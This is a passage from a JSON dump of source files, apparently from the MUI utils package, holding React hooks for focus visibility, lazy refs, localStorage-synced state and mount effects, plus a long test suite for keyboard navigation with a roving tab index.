useIsFocusVisible(): UseIsFocusVisibleResult {\n  const ref = React.useCallback((node: HTMLElement) => {\n    if (node != null) {\n      prepare(node.ownerDocument);\n    }\n  }, []);\n\n  const isFocusVisibleRef = React.useRef(false);\n\n  /**\n   * Should be called if a blur event is fired\n   */\n  function handleBlurVisible() {\n    // checking against potential state variable does not suffice if we focus and blur synchronously.\n    // React wouldn't have time to trigger a re-render so `focusVisible` would be stale.\n    // Ideally we would adjust `isFocusVisible(event)` to look at `relatedTarget` for blur events.\n    // This doesn't work in IE11 due to https://github.com/facebook/react/issues/3751\n    // TODO: check again if React releases their internal changes to focus event handling (https://github.com/facebook/react/pull/19186).\n    if (isFocusVisibleRef.current) {\n      // To detect a tab/window switch, we look for a blur event followed\n      // rapidly by a visibility change.\n      // If we don't see a visibility change within 100ms, it's probably a\n      // regular focus change.\n      hadFocusVisibleRecently = true;\n      hadFocusVisibleRecentlyTimeout.start(100, () => {\n        hadFocusVisibleRecently = false;\n      });\n\n      isFocusVisibleRef.current = false;\n\n      return true;\n    }\n\n    return false;\n  }\n\n  /**\n   * Should be called if a blur event is fired\n   */\n  function handleFocusVisible(event: React.FocusEvent) {\n    if (isFocusVisible(event)) {\n      isFocusVisibleRef.current = true;\n      return true;\n    }\n    return false;\n  }\n\n  return { isFocusVisibleRef, onFocus: handleFocusVisible, onBlur: handleBlurVisible, ref };\n}\n"
  },
  {
    "path": "packages/mui-utils/src/useLazyRef/index.ts",
    "content": "export { default } from './useLazyRef';\n"
  },
  {
    "path": "packages/mui-utils/src/useLazyRef/useLazyRef.ts",
    "content": "'use client';\nimport * as React from 'react';\n\nconst UNINITIALIZED = {};\n\n/**\n * A React.useRef() that is initialized lazily with a function. Note that it accepts an optional\n * initialization argument, so the initialization function doesn't need to be an inline closure.\n *\n * @usage\n *   const ref = useLazyRef(sortColumns, columns)\n */\nexport default function useLazyRef<T, U>(init: (arg?: U) => T, initArg?: U) {\n  const ref = React.useRef(UNINITIALIZED as unknown as T);\n\n  if (ref.current === UNINITIALIZED) {\n    ref.current = init(initArg);\n  }\n\n  return ref;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/useLocalStorageState/index.ts",
    "content": "export { default } from './useLocalStorageState';\n"
  },
  {
    "path": "packages/mui-utils/src/useLocalStorageState/useLocalStorageState.ts",
    "content": "'use client';\nimport * as React from 'react';\n\n// storage events only work across tabs, we'll use an event emitter to announce within the current tab\nconst currentTabChangeListeners = new Map<string, Set<() => void>>();\n\nfunction onCurrentTabStorageChange(key: string, handler: () => void) {\n  let listeners = currentTabChangeListeners.get(key);\n\n  if (!listeners) {\n    listeners = new Set();\n    currentTabChangeListeners.set(key, listeners);\n  }\n\n  listeners.add(handler);\n}\n\nfunction offCurrentTabStorageChange(key: string, handler: () => void) {\n  const listeners = currentTabChangeListeners.get(key);\n  if (!listeners) {\n    return;\n  }\n\n  listeners.delete(handler);\n\n  if (listeners.size === 0) {\n    currentTabChangeListeners.delete(key);\n  }\n}\n\nfunction emitCurrentTabStorageChange(key: string) {\n  const listeners = currentTabChangeListeners.get(key);\n  if (listeners) {\n    listeners.forEach((listener) => listener());\n  }\n}\n\nfunction subscribe(area: Storage, key: string | null, callback: () => void): () => void {\n  if (!key) {\n    return () => {};\n  }\n  const storageHandler = (event: StorageEvent) => {\n    if (event.storageArea === area && event.key === key) {\n      callback();\n    }\n  };\n  window.addEventListener('storage', storageHandler);\n  onCurrentTabStorageChange(key, callback);\n  return () => {\n    window.removeEventListener('storage', storageHandler);\n    offCurrentTabStorageChange(key, callback);\n  };\n}\n\nfunction getSnapshot(area: Storage, key: string | null): string | null {\n  if (!key) {\n    return null;\n  }\n  try {\n    return area.getItem(key);\n  } catch {\n    // ignore\n    // See https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API#feature-detecting_localstorage\n    return null;\n  }\n}\n\nfunction setValue(area: Storage, key: string | null, value: string | null) {\n  if (!key) {\n    return;\n  }\n  try {\n    if (value === null) {\n      area.removeItem(key);\n    } else {\n      area.setItem(key, String(value));\n    }\n  } catch {\n    // ignore\n    // See https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API/Using_the_Web_Storage_API#feature-detecting_localstorage\n    return;\n  }\n  emitCurrentTabStorageChange(key);\n}\n\ntype Initializer = () => string | null;\n\ntype UseStorageStateHookResult = [\n  string | null,\n  React.Dispatch<React.SetStateAction<string | null>>,\n];\n\nconst serverValue: UseStorageStateHookResult = [null, () => {}];\n\nfunction useLocalStorageStateServer(): UseStorageStateHookResult {\n  return serverValue;\n}\n\n/**\n * Sync state to local storage so that it persists through a page refresh. Usage is\n * similar to useState except we pass in a storage key so that we can default\n * to that value on page load instead of the specified initial value.\n *\n * Since the storage API isn't available in server-rendering environments, we\n * return null during SSR and hydration.\n */\nfunction useLocalStorageStateBrowser(\n  key: string | null,\n  initializer: string | null | Initializer = null,\n): UseStorageStateHookResult {\n  const [initialValue] = React.useState(initializer);\n  const area = window.localStorage;\n  const subscribeKey = React.useCallback(\n    (callback: () => void) => subscribe(area, key, callback),\n    [area, key],\n  );\n  const getKeySnapshot = React.useCallback(\n    () => getSnapshot(area, key) ?? initialValue,\n    [area, initialValue, key],\n  );\n\n  // Start with null for the hydration, and then switch to the actual value.\n  const getKeyServerSnapshot = () => null;\n\n  const storedValue = React.useSyncExternalStore(\n    subscribeKey,\n    getKeySnapshot,\n    getKeyServerSnapshot,\n  );\n\n  const setStoredValue = React.useCallback(\n    (value: React.SetStateAction<string | null>) => {\n      const valueToStore = value instanceof Function ? value(storedValue) : value;\n      setValue(area, key, valueToStore);\n    },\n    [area, key, storedValue],\n  );\n\n  const [nonStoredValue, setNonStoredValue] = React.useState(initialValue);\n\n  if (!key) {\n    return [nonStoredValue, setNonStoredValue];\n  }\n\n  return [storedValue, setStoredValue];\n}\n\nexport default typeof window === 'undefined'\n  ? useLocalStorageStateServer\n  : useLocalStorageStateBrowser;\n"
  },
  {
    "path": "packages/mui-utils/src/useOnMount/index.ts",
    "content": "export { default } from './useOnMount';\n"
  },
  {
    "path": "packages/mui-utils/src/useOnMount/useOnMount.ts",
    "content": "'use client';\nimport * as React from 'react';\n\nconst EMPTY = [] as unknown[];\n\n/**\n * A React.useEffect equivalent that runs once, when the component is mounted.\n */\nexport default function useOnMount(fn: React.EffectCallback) {\n  // TODO: uncomment once we enable eslint-plugin-react-compiler // eslint-disable-next-line react-compiler/react-compiler -- no need to put `fn` in the dependency array\n  /* eslint-disable react-hooks/exhaustive-deps */\n  React.useEffect(fn, EMPTY);\n  /* eslint-enable react-hooks/exhaustive-deps */\n}\n"
  },
  {
    "path": "packages/mui-utils/src/usePreviousProps/index.ts",
    "content": "export { default } from './usePreviousProps';\n"
  },
  {
    "path": "packages/mui-utils/src/usePreviousProps/usePreviousProps.ts",
    "content": "'use client';\nimport * as React from 'react';\n\nfunction usePreviousProps<T>(value: T) {\n  const ref = React.useRef<T | {}>({});\n  React.useEffect(() => {\n    ref.current = value;\n  });\n  return ref.current as Partial<T>;\n}\n\nexport default usePreviousProps;\n"
  },
  {
    "path": "packages/mui-utils/src/useRovingTabIndex/index.ts",
    "content": "export { default } from './useRovingTabIndex';\n"
  },
  {
    "path": "packages/mui-utils/src/useRovingTabIndex/useRovingTabIndex.test.tsx",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { createRenderer, fireEvent, screen, act } from '@mui/internal-test-utils';\nimport { spy } from 'sinon';\nimport useRovingTabIndex, { type UseRovingTabIndexOptions } from './useRovingTabIndex';\n\nlet focusNext: (shouldSkipFocusOverride?: (element: HTMLElement | null) => boolean) => number;\n\nfunction TestComponent(props: Partial<UseRovingTabIndexOptions>) {\n  const {\n    getItemProps,\n    getContainerProps,\n    focusNext: focusNextFn,\n  } = useRovingTabIndex({\n    orientation: 'horizontal',\n    ...props,\n  });\n\n  focusNext = focusNextFn;\n\n  return (\n    <div data-testid=\"container\" tabIndex={-1} {...getContainerProps()}>\n      <button {...getItemProps(0)} data-testid=\"button-1\" role=\"tab\">\n        Button 1\n      </button>\n      <button {...getItemProps(1)} data-testid=\"button-2\" role=\"tab\">\n        Button 2\n      </button>\n      <button {...getItemProps(2)} data-testid=\"button-3\" role=\"tab\" disabled>\n        Button 3\n      </button>\n      <button {...getItemProps(3)} data-testid=\"button-4\" role=\"tab\">\n        Button 4\n      </button>\n    </div>\n  );\n}\n\ndescribe('useRovingTabIndex', () => {\n  const { render } = createRenderer();\n\n  test('should set the first enabled element as focusable when no focusableIndex is provided', () => {\n    render(<TestComponent />);\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('0');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-3').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-4').getAttribute('tabindex')).to.equal('-1');\n  });\n\n  test('should set focusable index correctly', () => {\n    const focusableIndex = 1;\n\n    render(<TestComponent focusableIndex={focusableIndex} />);\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('0');\n    expect(screen.getByTestId('button-3').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-4').getAttribute('tabindex')).to.equal('-1');\n  });\n\n  test('should update focusable index when prop changes', () => {\n    const focusableIndex = 1;\n\n    const { setProps } = render(<TestComponent focusableIndex={focusableIndex} />);\n\n    setProps({ focusableIndex: 3 });\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-3').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-4').getAttribute('tabindex')).to.equal('0');\n  });\n\n  test('should set focusable index to next enabled element if initial index is on a disabled element', () => {\n    const focusableIndex = 2;\n\n    render(<TestComponent focusableIndex={focusableIndex} />);\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-3').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-4').getAttribute('tabindex')).to.equal('0');\n  });\n\n  test('should not change focusable index if initial index is on a disabled element but there are no enabled elements', () => {\n    function TestComponentWithDisabledButtons() {\n      const { getItemProps, getContainerProps } = useRovingTabIndex({\n        orientation: 'horizontal',\n      });\n\n      return (\n        <div data-testid=\"container\" tabIndex={-1} {...getContainerProps()}>\n          <button {...getItemProps(0)} data-testid=\"button-1\" disabled role=\"tab\">\n            Button 1\n          </button>\n          <button {...getItemProps(1)} data-testid=\"button-2\" disabled role=\"tab\">\n            Button 2\n          </button>\n        </div>\n      );\n    }\n\n    render(<TestComponentWithDisabledButtons />);\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('-1');\n  });\n\n  test('should update focusable index when prop change and the element is disabled', () => {\n    function TestComponentWithDisabledButtons() {\n      const { getItemProps, getContainerProps } = useRovingTabIndex({\n        orientation: 'horizontal',\n      });\n\n      return (\n        <div data-testid=\"container\" tabIndex={-1} {...getContainerProps()}>\n          <button {...getItemProps(0)} data-testid=\"button-1\" disabled role=\"tab\">\n            Button 1\n          </button>\n          <button {...getItemProps(1)} data-testid=\"button-2\" disabled role=\"tab\">\n            Button 2\n          </button>\n        </div>\n      );\n    }\n\n    const { setProps } = render(<TestComponentWithDisabledButtons />);\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('-1');\n\n    setProps({ focusableIndex: 1 });\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('-1');\n  });\n\n  test('should do nothing when there are no children', () => {\n    function TestComponentWithDisabledButtons() {\n      const { getContainerProps } = useRovingTabIndex({\n        orientation: 'horizontal',\n      });\n\n      return <div data-testid=\"container\" tabIndex={-1} {...getContainerProps()}></div>;\n    }\n\n    const { setProps } = render(<TestComponentWithDisabledButtons />);\n\n    expect(screen.getByTestId('container').getAttribute('tabindex')).to.equal('-1');\n\n    setProps({ focusableIndex: 1 });\n\n    expect(screen.getByTestId('container').getAttribute('tabindex')).to.equal('-1');\n  });\n\n  test('should not infinite loop when focusNext is called with no children', () => {\n    let focusNextResult: number | undefined;\n\n    function EmptyContainer() {\n      const { getContainerProps, focusNext: focusNextFn } = useRovingTabIndex({\n        orientation: 'horizontal',\n      });\n\n      focusNext = focusNextFn;\n\n      return <div data-testid=\"container\" tabIndex={-1} {...getContainerProps()} />;\n    }\n\n    render(<EmptyContainer />);\n\n    act(() => {\n      focusNextResult = focusNext();\n    });\n\n    expect(focusNextResult).to.equal(-1);\n  });\n\n  test('should not infinite loop on arrow key navigation with no children', async () => {\n    function EmptyContainer() {\n      const { getContainerProps } = useRovingTabIndex({\n        orientation: 'horizontal',\n      });\n\n      return <div data-testid=\"container\" tabIndex={-1} {...getContainerProps()} />;\n    }\n\n    const { user } = render(<EmptyContainer />);\n\n    const container = screen.getByTestId('container');\n    container.focus();\n\n    // These would hang if the bug is present\n    await user.keyboard('{ArrowRight}');\n    await user.keyboard('{ArrowLeft}');\n    await user.keyboard('{Home}');\n    await user.keyboard('{End}');\n\n    expect(container).toHaveFocus();\n  });\n\n  test('should not infinite loop on arrow key navigation with no children (vertical)', async () => {\n    function EmptyContainer() {\n      const { getContainerProps } = useRovingTabIndex({\n        orientation: 'vertical',\n      });\n\n      return <div data-testid=\"container\" tabIndex={-1} {...getContainerProps()} />;\n    }\n\n    const { user } = render(<EmptyContainer />);\n\n    const container = screen.getByTestId('container');\n    container.focus();\n\n    await user.keyboard('{ArrowDown}');\n    await user.keyboard('{ArrowUp}');\n\n    expect(container).toHaveFocus();\n  });\n\n  test('should make the controlled prop take precedence over internal state', async () => {\n    const focusableIndex = 1;\n\n    const { user } = render(<TestComponent focusableIndex={focusableIndex} />);\n\n    await user.keyboard('{ArrowRight}');\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('0');\n    expect(screen.getByTestId('button-3').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-4').getAttribute('tabindex')).to.equal('-1');\n  });\n\n  test('should update focusable index correctly when clicked', async () => {\n    const { user } = render(<TestComponent />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button3 = screen.getByTestId('button-3');\n    const button4 = screen.getByTestId('button-4');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n\n    await user.click(button2);\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('0');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n  });\n\n  test('should focus correctly using left and right arrow keys on horizontal orientation while skipping disabled elements', async () => {\n    const { user } = render(<TestComponent />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button3 = screen.getByTestId('button-3');\n    const button4 = screen.getByTestId('button-4');\n\n    await user.click(button1);\n    await user.keyboard('{ArrowRight}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('0');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button2).toHaveFocus();\n\n    await user.keyboard('{ArrowRight}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('0');\n    expect(button4).toHaveFocus();\n\n    await user.keyboard('{ArrowRight}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n\n    await user.keyboard('{ArrowLeft}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('0');\n    expect(button4).toHaveFocus();\n\n    await user.keyboard('{ArrowLeft}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('0');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button2).toHaveFocus();\n\n    await user.keyboard('{ArrowLeft}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n  });\n\n  test('should focus correctly using up and down arrow keys on vertical orientation while skipping disabled elements', async () => {\n    const { user } = render(<TestComponent orientation=\"vertical\" />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button3 = screen.getByTestId('button-3');\n    const button4 = screen.getByTestId('button-4');\n\n    await user.click(button1);\n    await user.keyboard('{ArrowDown}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('0');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button2).toHaveFocus();\n\n    await user.keyboard('{ArrowDown}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('0');\n    expect(button4).toHaveFocus();\n\n    await user.keyboard('{ArrowDown}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n\n    await user.keyboard('{ArrowUp}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('0');\n    expect(button4).toHaveFocus();\n\n    await user.keyboard('{ArrowUp}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('0');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button2).toHaveFocus();\n\n    await user.keyboard('{ArrowUp}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n  });\n\n  test('should not wrap focus when navigating with arrow keys if wrap is set to false', async () => {\n    const { user } = render(<TestComponent shouldWrap={false} />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button3 = screen.getByTestId('button-3');\n    const button4 = screen.getByTestId('button-4');\n\n    await user.click(button1);\n    await user.keyboard('{ArrowLeft}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n\n    await user.click(button4);\n    await user.keyboard('{ArrowRight}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('0');\n    expect(button4).toHaveFocus();\n  });\n\n  test('should skip elements that do not have the tabindex attribute set', async () => {\n    const { user } = render(<TestComponent />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button4 = screen.getByTestId('button-4');\n\n    button2.removeAttribute('tabindex');\n\n    await user.click(button1);\n    await user.keyboard('{ArrowRight}');\n\n    expect(button4.getAttribute('tabindex')).to.equal('0');\n    expect(button4).toHaveFocus();\n  });\n\n  test('should skip aria-disabled elements when navigating with arrow keys', async () => {\n    const { user } = render(<TestComponent />);\n\n    screen.getByTestId('button-2').setAttribute('aria-disabled', 'true');\n\n    await user.click(screen.getByTestId('button-1'));\n    await user.keyboard('{ArrowRight}');\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-3').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-4').getAttribute('tabindex')).to.equal('0');\n    expect(screen.getByTestId('button-4')).toHaveFocus();\n\n    await user.keyboard('{ArrowLeft}');\n\n    expect(screen.getByTestId('button-1').getAttribute('tabindex')).to.equal('0');\n    expect(screen.getByTestId('button-2').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-3').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-4').getAttribute('tabindex')).to.equal('-1');\n    expect(screen.getByTestId('button-1')).toHaveFocus();\n  });\n\n  test('should skip disabled elements at the start and end when navigating with arrow keys', async () => {\n    const { user } = render(<TestComponent />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button3 = screen.getByTestId('button-3');\n    const button4 = screen.getByTestId('button-4');\n\n    button1.setAttribute('aria-disabled', 'true');\n    button4.setAttribute('disabled', 'true');\n    button3.removeAttribute('disabled');\n\n    await user.click(button2);\n    await user.keyboard('{ArrowLeft}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('0');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button3).toHaveFocus();\n\n    await user.keyboard('{ArrowRight}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('0');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button2).toHaveFocus();\n  });\n\n  test('should move to the end of the list when End key is pressed and to the start when Home key is pressed', async () => {\n    const { user } = render(<TestComponent />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button3 = screen.getByTestId('button-3');\n    const button4 = screen.getByTestId('button-4');\n\n    await user.click(button1);\n    await user.keyboard('{End}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('0');\n    expect(button4).toHaveFocus();\n\n    await user.keyboard('{Home}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n  });\n\n  test('does not change focusable index if a non-arrow key is pressed', async () => {\n    const { user } = render(<TestComponent />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button3 = screen.getByTestId('button-3');\n    const button4 = screen.getByTestId('button-4');\n\n    await user.click(button1);\n    await user.keyboard('{Enter}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n  });\n\n  test('should not change focus on vertical navigation when orientation is horizontal', async () => {\n    const { user } = render(<TestComponent orientation=\"horizontal\" />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n\n    await user.click(button1);\n    await user.keyboard('{ArrowDown}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n\n    await user.keyboard('{ArrowUp}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n  });\n\n  it.each(['Shift', 'Control', 'Alt', 'Meta'])(\n    'does not change focusable index if a %s modifier key is pressed',\n    async (modifier) => {\n      const { user } = render(<TestComponent />);\n\n      const button1 = screen.getByTestId('button-1');\n      const button2 = screen.getByTestId('button-2');\n      const button3 = screen.getByTestId('button-3');\n      const button4 = screen.getByTestId('button-4');\n\n      await user.click(button1);\n      await user.keyboard(`{${modifier}>}{ArrowRight}{/${modifier}}`);\n\n      expect(button1.getAttribute('tabindex')).to.equal('0');\n      expect(button2.getAttribute('tabindex')).to.equal('-1');\n      expect(button3.getAttribute('tabindex')).to.equal('-1');\n      expect(button4.getAttribute('tabindex')).to.equal('-1');\n      expect(button1).toHaveFocus();\n    },\n  );\n\n  test('prevents default behavior of arrow keys when navigating', async () => {\n    const { user } = render(<TestComponent />);\n\n    const button1 = screen.getByTestId('button-1');\n\n    await user.click(button1);\n\n    const event = new KeyboardEvent('keydown', { key: 'ArrowRight', bubbles: true });\n    const preventDefaultSpy = spy(event, 'preventDefault');\n\n    fireEvent(button1, event);\n\n    expect(preventDefaultSpy.callCount).to.equal(1);\n  });\n\n  test('does not prevent default behavior of non-arrow keys', async () => {\n    const { user } = render(<TestComponent />);\n\n    const button1 = screen.getByTestId('button-1');\n\n    await user.click(button1);\n\n    const event = new KeyboardEvent('keydown', { key: 'Enter', bubbles: true });\n    const preventDefaultSpy = spy(event, 'preventDefault');\n\n    fireEvent(button1, event);\n\n    expect(preventDefaultSpy.callCount).to.equal(0);\n  });\n\n  test('supports RTL orientation by reversing the behavior of left and right arrow keys', async () => {\n    const { user } = render(<TestComponent orientation=\"horizontal\" isRtl />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button4 = screen.getByTestId('button-4');\n\n    await user.click(button1);\n    await user.keyboard('{ArrowRight}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button4.getAttribute('tabindex')).to.equal('0');\n    expect(button4).toHaveFocus();\n\n    await user.keyboard('{ArrowLeft}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button4.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n  });\n\n  test('does not consider RTL direction for vertical orientation', async () => {\n    const { user } = render(<TestComponent orientation=\"vertical\" isRtl />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n\n    await user.click(button1);\n    await user.keyboard('{ArrowDown}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('0');\n    expect(button2).toHaveFocus();\n\n    await user.keyboard('{ArrowUp}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n  });\n\n  test('should skip focus on elements for which shouldFocus returns false', async () => {\n    const shouldFocus = (element: HTMLElement | null) =>\n      element?.getAttribute('data-disabled') !== 'true';\n\n    const { user } = render(<TestComponent shouldFocus={shouldFocus} />);\n\n    const button1 = screen.getByTestId('button-1');\n    const button2 = screen.getByTestId('button-2');\n    const button3 = screen.getByTestId('button-3');\n\n    button2.setAttribute('data-disabled', 'true');\n    button3.removeAttribute('disabled');\n\n    await user.click(button1);\n    await user.keyboard('{ArrowRight}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('-1');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('0');\n    expect(button3).toHaveFocus();\n\n    await user.keyboard('{ArrowLeft}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button2.getAttribute('tabindex')).to.equal('-1');\n    expect(button3.getAttribute('tabindex')).to.equal('-1');\n    expect(button1).toHaveFocus();\n  });\n\n  test('focuses first element on arrow right when container is focused', async () => {\n    const { user } = render(<TestComponent />);\n\n    const container = screen.getByTestId('container');\n    const button1 = screen.getByTestId('button-1');\n\n    container.focus();\n    await user.keyboard('{ArrowRight}');\n\n    expect(button1.getAttribute('tabindex')).to.equal('0');\n    expect(button1).toHaveFocus();\n  });\n\n  test('focuses last element on arrow left when container is focused', async () => {\n    const { user } = render(<TestComponent />);\n\n    const container = screen.getByTestId('container');\n    const button4 = screen.getByTestId('button-4');\n\n    container.focus();\n    await user.keyboard('{ArrowLeft}');\n\n    expect(button4.getAttribute('tabindex')).to.equal('0');\n    